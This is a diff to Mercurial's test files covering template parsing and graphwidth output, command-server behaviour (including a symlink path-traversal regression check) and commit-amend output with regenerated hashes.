+  $ hg debugtemplate -R latesttag -r0 -v '{manifest.node|short}\n'
+  (template
+    (|
+      (.
+        (symbol 'manifest')
+        (symbol 'node'))
+      (symbol 'short'))
+    (string '\n'))
+  89f4071fec70
+
+ (the following examples are invalid, but seem natural in parsing POV)
+
+  $ hg debugtemplate -R latesttag -r0 -v '{foo|bar.baz}\n' 2> /dev/null
+  (template
+    (|
+      (symbol 'foo')
+      (.
+        (symbol 'bar')
+        (symbol 'baz')))
+    (string '\n'))
+  [255]
+  $ hg debugtemplate -R latesttag -r0 -v '{foo.bar()}\n' 2> /dev/null
+  (template
+    (.
+      (symbol 'foo')
+      (func
+        (symbol 'bar')
+        None))
+    (string '\n'))
+  [255]
+
+Test evaluation of dot operator:
+
+  $ hg log -R latesttag -l1 -T '{min(revset("0:9")).node}\n'
+  ce3cec86e6c26bd9bdfc590a6b92abc9680f1796
+  $ hg log -R latesttag -r0 -T '{extras.branch}\n'
+  default
+
+  $ hg log -R latesttag -l1 -T '{author.invalid}\n'
+  hg: parse error: keyword 'author' has no member
+  [255]
+  $ hg log -R latesttag -l1 -T '{min("abc").invalid}\n'
+  hg: parse error: 'a' has no member
+  [255]
+
 Test the sub function of templating for expansion:
 
   $ hg log -R latesttag -r 10 --template '{sub("[0-9]", "x", "{rev}")}\n'
@@ -3173,21 +3293,21 @@
   $ hg debugtemplate -v '{(0)}\n'
   (template
     (group
-      ('integer', '0'))
-    ('string', '\n'))
+      (integer '0'))
+    (string '\n'))
   0
   $ hg debugtemplate -v '{(123)}\n'
   (template
     (group
-      ('integer', '123'))
-    ('string', '\n'))
+      (integer '123'))
+    (string '\n'))
   123
   $ hg debugtemplate -v '{(-4)}\n'
   (template
     (group
       (negate
-        ('integer', '4')))
-    ('string', '\n'))
+        (integer '4')))
+    (string '\n'))
   -4
   $ hg debugtemplate '{(-)}\n'
   hg: parse error at 3: not a prefix: )
@@ -3200,25 +3320,25 @@
 
   $ hg debugtemplate -D 1=one -v '{1}\n'
   (template
-    ('integer', '1')
-    ('string', '\n'))
+    (integer '1')
+    (string '\n'))
   one
   $ hg debugtemplate -D 1=one -v '{if("t", "{1}")}\n'
   (template
     (func
-      ('symbol', 'if')
+      (symbol 'if')
       (list
-        ('string', 't')
+        (string 't')
         (template
-          ('integer', '1'))))
-    ('string', '\n'))
+          (integer '1'))))
+    (string '\n'))
   one
   $ hg debugtemplate -D 1=one -v '{1|stringify}\n'
   (template
     (|
-      ('integer', '1')
-      ('symbol', 'stringify'))
-    ('string', '\n'))
+      (integer '1')
+      (symbol 'stringify'))
+    (string '\n'))
   one
 
 unless explicit symbol is expected:
@@ -3234,27 +3354,27 @@
 
   $ hg debugtemplate -Ra -r0 -v '{"string with no template fragment"}\n'
   (template
-    ('string', 'string with no template fragment')
-    ('string', '\n'))
+    (string 'string with no template fragment')
+    (string '\n'))
   string with no template fragment
   $ hg debugtemplate -Ra -r0 -v '{"template: {rev}"}\n'
   (template
     (template
-      ('string', 'template: ')
-      ('symbol', 'rev'))
-    ('string', '\n'))
+      (string 'template: ')
+      (symbol 'rev'))
+    (string '\n'))
   template: 0
   $ hg debugtemplate -Ra -r0 -v '{r"rawstring: {rev}"}\n'
   (template
-    ('string', 'rawstring: {rev}')
-    ('string', '\n'))
+    (string 'rawstring: {rev}')
+    (string '\n'))
   rawstring: {rev}
   $ hg debugtemplate -Ra -r0 -v '{files % r"rawstring: {file}"}\n'
   (template
     (%
-      ('symbol', 'files')
-      ('string', 'rawstring: {file}'))
-    ('string', '\n'))
+      (symbol 'files')
+      (string 'rawstring: {file}'))
+    (string '\n'))
   rawstring: {file}
 
 Test string escaping:
@@ -3664,7 +3784,7 @@
   $ cd hashcollision
   $ cat <<EOF >> .hg/hgrc
   > [experimental]
-  > evolution = createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ echo 0 > a
   $ hg ci -qAm 0
@@ -3851,6 +3971,9 @@
   1 match rev
   0 not match rev
 
+  $ hg log -T '{ifcontains(desc, revset(":"), "", "type not match")}\n' -l1
+  type not match
+
   $ hg log --template '{rev} Parents: {revset("parents(%s)", rev)}\n'
   2 Parents: 1
   1 Parents: 0
@@ -4040,6 +4163,9 @@
   $ hg log -r2 -T '{get(namespaces, "bookmarks") % "{name}\n"}'
   bar
   foo
+  $ hg log -r2 -T '{namespaces.bookmarks % "{bookmark}\n"}'
+  bar
+  foo
 
 Test stringify on sub expressions
 
@@ -4241,49 +4367,49 @@
 
   $ hg debugtemplate -vr0 '{rn} {utcdate(date)|isodate}\n'
   (template
-    ('symbol', 'rn')
-    ('string', ' ')
+    (symbol 'rn')
+    (string ' ')
     (|
       (func
-        ('symbol', 'utcdate')
-        ('symbol', 'date'))
-      ('symbol', 'isodate'))
-    ('string', '\n'))
+        (symbol 'utcdate')
+        (symbol 'date'))
+      (symbol 'isodate'))
+    (string '\n'))
   * expanded:
   (template
     (template
-      ('symbol', 'rev')
-      ('string', ':')
+      (symbol 'rev')
+      (string ':')
       (|
-        ('symbol', 'node')
-        ('symbol', 'short')))
-    ('string', ' ')
+        (symbol 'node')
+        (symbol 'short')))
+    (string ' ')
     (|
       (func
-        ('symbol', 'localdate')
+        (symbol 'localdate')
         (list
-          ('symbol', 'date')
-          ('string', 'UTC')))
-      ('symbol', 'isodate'))
-    ('string', '\n'))
+          (symbol 'date')
+          (string 'UTC')))
+      (symbol 'isodate'))
+    (string '\n'))
   0:1e4e1b8f71e0 1970-01-12 13:46 +0000
 
   $ hg debugtemplate -vr0 '{status("A", file_adds)}'
   (template
     (func
-      ('symbol', 'status')
+      (symbol 'status')
       (list
-        ('string', 'A')
-        ('symbol', 'file_adds'))))
+        (string 'A')
+        (symbol 'file_adds'))))
   * expanded:
   (template
     (%
-      ('symbol', 'file_adds')
+      (symbol 'file_adds')
       (template
-        ('string', 'A')
-        ('string', ' ')
-        ('symbol', 'file')
-        ('string', '\n'))))
+        (string 'A')
+        (string ' ')
+        (symbol 'file')
+        (string '\n'))))
   A a
 
 A unary function alias can be called as a filter:
@@ -4292,20 +4418,20 @@
   (template
     (|
       (|
-        ('symbol', 'date')
-        ('symbol', 'utcdate'))
-      ('symbol', 'isodate'))
-    ('string', '\n'))
+        (symbol 'date')
+        (symbol 'utcdate'))
+      (symbol 'isodate'))
+    (string '\n'))
   * expanded:
   (template
     (|
       (func
-        ('symbol', 'localdate')
+        (symbol 'localdate')
         (list
-          ('symbol', 'date')
-          ('string', 'UTC')))
-      ('symbol', 'isodate'))
-    ('string', '\n'))
+          (symbol 'date')
+          (string 'UTC')))
+      (symbol 'isodate'))
+    (string '\n'))
   1970-01-12 13:46 +0000
 
 Aliases should be applied only to command arguments and templates in hgrc.
@@ -4340,7 +4466,7 @@
 
   $ hg debugtemplate --config templatealias.bad='x(' -v '{bad}'
   (template
-    ('symbol', 'bad'))
+    (symbol 'bad'))
   abort: bad definition of template alias "bad": at 2: not a prefix: end
   [255]
   $ hg log --config templatealias.bad='x(' -T '{bad}'
@@ -4416,3 +4542,155 @@
   custom
 
   $ cd ..
+
+Test 'graphwidth' in 'hg log' on various topologies. The key here is that the
+printed graphwidths 3, 5, 7, etc. should all line up in their respective
+columns. We don't care about other aspects of the graph rendering here.
+
+  $ hg init graphwidth
+  $ cd graphwidth
+
+  $ wrappabletext="a a a a a a a a a a a a"
+
+  $ printf "first\n" > file
+  $ hg add file
+  $ hg commit -m "$wrappabletext"
+
+  $ printf "first\nsecond\n" > file
+  $ hg commit -m "$wrappabletext"
+
+  $ hg checkout 0
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ printf "third\nfirst\n" > file
+  $ hg commit -m "$wrappabletext"
+  created new head
+
+  $ hg merge
+  merging file
+  0 files updated, 1 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+
+  $ hg log --graph -T "{graphwidth}"
+  @  3
+  |
+  | @  5
+  |/
+  o  3
+  
+  $ hg commit -m "$wrappabletext"
+
+  $ hg log --graph -T "{graphwidth}"
+  @    5
+  |\
+  | o  5
+  | |
+  o |  5
+  |/
+  o  3
+  
+
+  $ hg checkout 0
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ printf "third\nfirst\nsecond\n" > file
+  $ hg commit -m "$wrappabletext"
+  created new head
+
+  $ hg log --graph -T "{graphwidth}"
+  @  3
+  |
+  | o    7
+  | |\
+  +---o  7
+  | |
+  | o  5
+  |/
+  o  3
+  
+
+  $ hg log --graph -T "{graphwidth}" -r 3
+  o    5
+  |\
+  ~ ~
+
+  $ hg log --graph -T "{graphwidth}" -r 1
+  o  3
+  |
+  ~
+
+  $ hg merge
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg commit -m "$wrappabletext"
+
+  $ printf "seventh\n" >> file
+  $ hg commit -m "$wrappabletext"
+
+  $ hg log --graph -T "{graphwidth}"
+  @  3
+  |
+  o    5
+  |\
+  | o  5
+  | |
+  o |    7
+  |\ \
+  | o |  7
+  | |/
+  o /  5
+  |/
+  o  3
+  
+
+The point of graphwidth is to allow wrapping that accounts for the space taken
+by the graph.
+
+  $ COLUMNS=10 hg log --graph -T "{fill(desc, termwidth - graphwidth)}"
+  @  a a a a
+  |  a a a a
+  |  a a a a
+  o    a a a
+  |\   a a a
+  | |  a a a
+  | |  a a a
+  | o  a a a
+  | |  a a a
+  | |  a a a
+  | |  a a a
+  o |    a a
+  |\ \   a a
+  | | |  a a
+  | | |  a a
+  | | |  a a
+  | | |  a a
+  | o |  a a
+  | |/   a a
+  | |    a a
+  | |    a a
+  | |    a a
+  | |    a a
+  o |  a a a
+  |/   a a a
+  |    a a a
+  |    a a a
+  o  a a a a
+     a a a a
+     a a a a
+
+Something tricky happens when there are elided nodes; the next drawn row of
+edges can be more than one column wider, but the graph width only increases by
+one column. The remaining columns are added in between the nodes.
+
+  $ hg log --graph -T "{graphwidth}" -r "0|2|4|5"
+  o    5
+  |\
+  | \
+  | :\
+  o : :  7
+  :/ /
+  : o  5
+  :/
+  o  3
+  
+
+  $ cd ..
+
diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -13,8 +13,10 @@
   $ hg init repo
   $ cd repo
 
-  >>> from __future__ import print_function
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from __future__ import absolute_import, print_function
+  >>> import os
+  >>> import sys
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def hellomessage(server):
   ...     ch, data = readchannel(server)
@@ -32,7 +34,7 @@
   ...     server.stdin.write('unknowncommand\n')
   abort: unknown command unknowncommand
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def checkruncommand(server):
   ...     # hello block
@@ -91,7 +93,7 @@
   abort: unknown revision 'unknown'!
    [255]
 
-  >>> from hgclient import readchannel, check
+  >>> from hgclient import check, readchannel
   >>> @check
   ... def inputeof(server):
   ...     readchannel(server)
@@ -103,7 +105,7 @@
   ...     print('server exit code =', server.wait())
   server exit code = 1
 
-  >>> from hgclient import readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio
   >>> @check
   ... def serverinput(server):
   ...     readchannel(server)
@@ -138,7 +140,7 @@
 check that "histedit --commands=-" can read rules from the input channel:
 
   >>> import cStringIO
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def serverinput(server):
   ...     readchannel(server)
@@ -152,7 +154,7 @@
 
   $ mkdir foo
   $ touch foo/bar
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def cwd(server):
   ...     readchannel(server)
@@ -173,7 +175,7 @@
   > foo = bar
   > EOF
 
-  >>> from hgclient import readchannel, sep, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand, sep
   >>> @check
   ... def localhgrc(server):
   ...     readchannel(server)
@@ -223,7 +225,7 @@
   >     print('now try to read something: %r' % sys.stdin.read())
   > EOF
 
-  >>> from hgclient import readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio
   >>> @check
   ... def hookoutput(server):
   ...     readchannel(server)
@@ -240,7 +242,7 @@
 
   $ echo a >> a
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def outsidechanges(server):
   ...     readchannel(server)
@@ -260,7 +262,7 @@
   *** runcommand status
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def bookmarks(server):
   ...     readchannel(server)
@@ -281,6 +283,7 @@
   ...     f.close()
   ...     runcommand(server, ['commit', '-Amm'])
   ...     runcommand(server, ['bookmarks'])
+  ...     print('')
   *** runcommand bookmarks
   no bookmarks set
   *** runcommand bookmarks
@@ -295,9 +298,10 @@
      bm1                       1:d3a0a68be6de
      bm2                       1:d3a0a68be6de
    * bm3                       2:aef17e88f5f0
+  
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def tagscache(server):
   ...     readchannel(server)
@@ -310,7 +314,7 @@
   foo
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def setphase(server):
   ...     readchannel(server)
@@ -323,7 +327,7 @@
   3: public
 
   $ echo a >> a
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def rollback(server):
   ...     readchannel(server)
@@ -331,6 +335,7 @@
   ...     runcommand(server, ['commit', '-Am.'])
   ...     runcommand(server, ['rollback'])
   ...     runcommand(server, ['phase', '-r', '.'])
+  ...     print('')
   *** runcommand phase -r . -p
   no phases changed
   *** runcommand commit -Am.
@@ -339,9 +344,10 @@
   working directory now based on revision 3
   *** runcommand phase -r .
   3: public
+  
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def branch(server):
   ...     readchannel(server)
@@ -360,7 +366,7 @@
 
   $ touch .hgignore
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def hgignore(server):
   ...     readchannel(server)
@@ -372,16 +378,18 @@
   ...     f.write('ignored-file')
   ...     f.close()
   ...     runcommand(server, ['status', '-i', '-u'])
+  ...     print('')
   *** runcommand commit -Am.
   adding .hgignore
   *** runcommand status -i -u
   I ignored-file
+  
 
 cache of non-public revisions should be invalidated on repository change
 (issue4855):
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def phasesetscacheaftercommit(server):
   ...     readchannel(server)
@@ -396,15 +404,17 @@
   ...         os.system('hg commit -Aqm%d' % i)
   ...     # new commits should be listed as draft revisions
   ...     runcommand(server, ['log', '-qr', 'draft()'])
+  ...     print('')
   *** runcommand log -qr draft()
   4:7966c8e3734d
   *** runcommand log -qr draft()
   4:7966c8e3734d
   5:41f6602d1c4f
   6:10501e202c35
+  
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def phasesetscacheafterstrip(server):
   ...     readchannel(server)
@@ -414,17 +424,19 @@
   ...     os.system('hg --config extensions.strip= strip -q 5')
   ...     # shouldn't abort by "unknown revision '6'"
   ...     runcommand(server, ['log', '-qr', 'draft()'])
+  ...     print('')
   *** runcommand log -qr draft()
   4:7966c8e3734d
   5:41f6602d1c4f
   6:10501e202c35
   *** runcommand log -qr draft()
   4:7966c8e3734d
+  
 
 cache of phase roots should be invalidated on strip (issue3827):
 
   >>> import os
-  >>> from hgclient import readchannel, sep, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand, sep
   >>> @check
   ... def phasecacheafterstrip(server):
   ...     readchannel(server)
@@ -475,7 +487,7 @@
 changelog and manifest would have invalid node:
 
   $ echo a >> a
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def txabort(server):
   ...     readchannel(server)
@@ -497,11 +509,11 @@
 
   $ cat >> .hg/hgrc << EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def obsolete(server):
   ...     readchannel(server)
@@ -523,6 +535,7 @@
   tag:         tip
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
+  obsolete:    pruned
   summary:     .
   
   changeset:   0:eff892de26ec
@@ -550,7 +563,7 @@
   > EOF
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def mqoutsidechanges(server):
   ...     readchannel(server)
@@ -575,7 +588,8 @@
   foo
 
   $ cat <<EOF > dbgui.py
-  > import os, sys
+  > import os
+  > import sys
   > from mercurial import commands, registrar
   > cmdtable = {}
   > command = registrar.command(cmdtable)
@@ -599,7 +613,7 @@
   > dbgui = dbgui.py
   > EOF
 
-  >>> from hgclient import readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio
   >>> @check
   ... def getpass(server):
   ...     readchannel(server)
@@ -634,7 +648,7 @@
 run commandserver in commandserver, which is silly but should work:
 
   >>> from __future__ import print_function
-  >>> from hgclient import readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio
   >>> @check
   ... def nested(server):
   ...     print('%c, %r' % readchannel(server))
@@ -657,7 +671,7 @@
   $ cd ..
 
   >>> from __future__ import print_function
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def hellomessage(server):
   ...     ch, data = readchannel(server)
@@ -670,7 +684,7 @@
   abort: there is no Mercurial repository here (.hg not found)
    [255]
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def startwithoutrepo(server):
   ...     readchannel(server)
@@ -698,7 +712,7 @@
 #if unix-socket unix-permissions
 
   >>> from __future__ import print_function
-  >>> from hgclient import unixserver, readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio, unixserver
   >>> server = unixserver('.hg/server.sock', '.hg/server.log')
   >>> def hellomessage(conn):
   ...     ch, data = readchannel(conn)
@@ -750,7 +764,7 @@
   > log = inexistent/path.log
   > EOF
   >>> from __future__ import print_function
-  >>> from hgclient import unixserver, readchannel, check
+  >>> from hgclient import check, readchannel, unixserver
   >>> server = unixserver('.hg/server.sock', '.hg/server.log')
   >>> def earlycrash(conn):
   ...     while True:
@@ -795,6 +809,14 @@
   $ cat > $TESTTMP/failafterfinalize.py <<EOF
   > # extension to abort transaction after finalization forcibly
   > from mercurial import commands, error, extensions, lock as lockmod
+  > from mercurial import registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > configitem('failafterfinalize', 'fail',
+  >     default=None,
+  > )
   > def fail(tr):
   >     raise error.Abort('fail after finalization')
   > def reposetup(ui, repo):
@@ -827,7 +849,7 @@
 
 (failure before finalization)
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def abort(server):
   ...     readchannel(server)
@@ -846,7 +868,7 @@
 
 (failure after finalization)
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def abort(server):
   ...     readchannel(server)
@@ -871,7 +893,7 @@
 
 (failure before finalization)
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def abort(server):
   ...     readchannel(server)
@@ -891,7 +913,7 @@
 
 (failure after finalization)
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def abort(server):
   ...     readchannel(server)
@@ -941,7 +963,7 @@
 and the merge should fail (issue5628)
 
   $ hg up -q null
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def merge(server):
   ...     readchannel(server)
@@ -953,8 +975,12 @@
   *** runcommand up -qC 2
   *** runcommand up -qC 1
   *** runcommand merge 2
-  abort: path 'a/poisoned' traverses symbolic link 'a'
-   [255]
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~aa04623eb0c3
+  resolve manually then use 'hg resolve --mark a'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+   [1]
   $ ls ../merge-symlink-out
 
 cache of repo.auditor should be discarded, so matcher would never traverse
@@ -962,7 +988,7 @@
 
   $ hg up -qC 0
   $ touch ../merge-symlink-out/poisoned
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def files(server):
   ...     readchannel(server)
diff --git a/tests/test-commit-amend.t b/tests/test-commit-amend.t
--- a/tests/test-commit-amend.t
+++ b/tests/test-commit-amend.t
@@ -40,7 +40,7 @@
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend -m 'amend base1'
   pretxncommit 43f1ba15f28a50abf0aae529cf8a16bfced7b149
   43f1ba15f28a tip
-  saved backup bundle to $TESTTMP/.hg/strip-backup/489edb5b847d-f1bf3ab8-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/489edb5b847d-5ab4f721-amend.hg (glob)
   $ echo 'pretxncommit.foo = ' >> $HGRCPATH
   $ hg diff -c .
   diff -r ad120869acf0 -r 43f1ba15f28a a
@@ -69,31 +69,36 @@
   > #!/bin/sh
   > echo "" > "$1"
   > __EOF__
+
+Update the existing file to ensure that the dirstate is not in pending state
+(where the status of some files in the working copy is not known yet). This in
+turn ensures that when the transaction is aborted due to an empty message during
+the amend, there should be no rollback.
+  $ echo a >> a
+
   $ echo b > b
   $ hg add b
   $ hg summary
   parent: 1:43f1ba15f28a tip
    amend base1
   branch: default
-  commit: 1 added, 1 unknown
+  commit: 1 modified, 1 added, 1 unknown
   update: (current)
   phases: 2 draft
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend
-  transaction abort!
-  rollback completed
   abort: empty commit message
   [255]
   $ hg summary
   parent: 1:43f1ba15f28a tip
    amend base1
   branch: default
-  commit: 1 added, 1 unknown
+  commit: 1 modified, 1 added, 1 unknown
   update: (current)
   phases: 2 draft
 
-Add new file:
+Add new file along with modified existing file:
   $ hg ci --amend -m 'amend base1 new file'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/43f1ba15f28a-7a3b3496-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/43f1ba15f28a-007467c2-amend.hg (glob)
 
 Remove file that was added in amended commit:
 (and test logfile option)
@@ -102,17 +107,17 @@
   $ hg rm b
   $ echo 'amend base1 remove new file' > ../logfile
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg ci --amend --logfile ../logfile
-  saved backup bundle to $TESTTMP/.hg/strip-backup/b8e3cb2b3882-0b55739a-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/c16295aaf401-1ada9901-amend.hg (glob)
 
   $ hg cat b
-  b: no such file in rev 74609c7f506e
+  b: no such file in rev 47343646fa3d
   [1]
 
 No changes, just a different message:
 
   $ hg ci -v --amend -m 'no changes, new message'
-  amending changeset 74609c7f506e
-  copying changeset 74609c7f506e to ad120869acf0
+  amending changeset 47343646fa3d
+  copying changeset 47343646fa3d to ad120869acf0
   committing files:
   a
   committing manifest
@@ -121,29 +126,30 @@
   uncompressed size of bundle content:
        254 (changelog)
        163 (manifests)
-       129  a
-  saved backup bundle to $TESTTMP/.hg/strip-backup/74609c7f506e-1bfde511-amend.hg (glob)
+       131  a
+  saved backup bundle to $TESTTMP/.hg/strip-backup/47343646fa3d-c2758885-amend.hg (glob)
   1 changesets found
   uncompressed size of bundle content:
        250 (changelog)
        163 (manifests)
-       129  a
+       131  a
   adding branch
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
-  committed changeset 1:1cd866679df8
+  committed changeset 1:401431e913a1
   $ hg diff -c .
-  diff -r ad120869acf0 -r 1cd866679df8 a
+  diff -r ad120869acf0 -r 401431e913a1 a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:00 1970 +0000
-  @@ -1,1 +1,3 @@
+  @@ -1,1 +1,4 @@
    a
   +a
   +a
+  +a
   $ hg log
-  changeset:   1:1cd866679df8
+  changeset:   1:401431e913a1
   tag:         tip
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
@@ -168,12 +174,12 @@
   > EOF
   $ HGEDITOR="sh .hg/checkeditform.sh" hg ci --amend -u foo -d '1 0'
   HGEDITFORM=commit.amend.normal
-  saved backup bundle to $TESTTMP/.hg/strip-backup/1cd866679df8-5f5bcb85-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/401431e913a1-5e8e532c-amend.hg (glob)
   $ echo a >> a
   $ hg ci --amend -u foo -d '1 0'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/780e6f23e03d-83b10a27-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/d96b1d28ae33-677e0afb-amend.hg (glob)
   $ hg log -r .
-  changeset:   1:5f357c7560ab
+  changeset:   1:a9a13940fc03
   tag:         tip
   user:        foo
   date:        Thu Jan 01 00:00:01 1970 +0000
@@ -197,8 +203,8 @@
 
   $ rm -f .hg/last-message.txt
   $ hg commit --amend -v -m "message given from command line"
-  amending changeset 5f357c7560ab
-  copying changeset 5f357c7560ab to ad120869acf0
+  amending changeset a9a13940fc03
+  copying changeset a9a13940fc03 to ad120869acf0
   committing files:
   a
   committing manifest
@@ -213,8 +219,8 @@
 
   $ rm -f .hg/last-message.txt
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend -v
-  amending changeset 5f357c7560ab
-  copying changeset 5f357c7560ab to ad120869acf0
+  amending changeset a9a13940fc03
+  copying changeset a9a13940fc03 to ad120869acf0
   no changes, new message
   
   
@@ -245,8 +251,8 @@
 then, test editing custom commit message
 
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend -v
-  amending changeset 5f357c7560ab
-  copying changeset 5f357c7560ab to ad120869acf0
+  amending changeset a9a13940fc03
+  copying changeset a9a13940fc03 to ad120869acf0
   no changes, new message
   
   
@@ -264,30 +270,25 @@
   uncompressed size of bundle content:
        249 (changelog)
        163 (manifests)
-       131  a
-  saved backup bundle to $TESTTMP/.hg/strip-backup/5f357c7560ab-e7c84ade-amend.hg (glob)
+       133  a
+  saved backup bundle to $TESTTMP/.hg/strip-backup/a9a13940fc03-7c2e8674-amend.hg (glob)
   1 changesets found
   uncompressed size of bundle content:
        257 (changelog)
        163 (manifests)
-       131  a
+       133  a
   adding branch
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
-  committed changeset 1:7ab3bf440b54
+  committed changeset 1:64a124ba1b44
 
 Same, but with changes in working dir (different code path):
 
   $ echo a >> a
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend -v
-  amending changeset 7ab3bf440b54
-  committing files:
-  a
-  committing manifest
-  committing changelog
-  copying changeset a0ea9b1a4c8c to ad120869acf0
+  amending changeset 64a124ba1b44
   another precious commit message
   
   
@@ -301,27 +302,27 @@
   a
   committing manifest
   committing changelog
-  2 changesets found
-  uncompressed size of bundle content:
-       464 (changelog)
-       322 (manifests)
-       249  a
-  saved backup bundle to $TESTTMP/.hg/strip-backup/7ab3bf440b54-8e3b5088-amend.hg (glob)
   1 changesets found
   uncompressed size of bundle content:
        257 (changelog)
        163 (manifests)
        133  a
+  saved backup bundle to $TESTTMP/.hg/strip-backup/64a124ba1b44-10374b8f-amend.hg (glob)
+  1 changesets found
+  uncompressed size of bundle content:
+       257 (changelog)
+       163 (manifests)
+       135  a
   adding branch
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
-  committed changeset 1:ea22a388757c
+  committed changeset 1:7892795b8e38
 
   $ rm editor.sh
   $ hg log -r .
-  changeset:   1:ea22a388757c
+  changeset:   1:7892795b8e38
   tag:         tip
   user:        foo
   date:        Thu Jan 01 00:00:01 1970 +0000
@@ -333,16 +334,16 @@
   $ hg book book1
   $ hg book book2
   $ hg ci --amend -m 'move bookmarks'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/ea22a388757c-e51094db-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/7892795b8e38-3fb46217-amend.hg (glob)
   $ hg book
-     book1                     1:6cec5aa930e2
-   * book2                     1:6cec5aa930e2
+     book1                     1:8311f17e2616
+   * book2                     1:8311f17e2616
   $ echo a >> a
   $ hg ci --amend -m 'move bookmarks'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/6cec5aa930e2-e9b06de4-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/8311f17e2616-f0504fe3-amend.hg (glob)
   $ hg book
-     book1                     1:48bb6e53a15f
-   * book2                     1:48bb6e53a15f
+     book1                     1:a3b65065808c
+   * book2                     1:a3b65065808c
 
 abort does not loose bookmarks
 
@@ -352,13 +353,11 @@
   > __EOF__
   $ echo a >> a
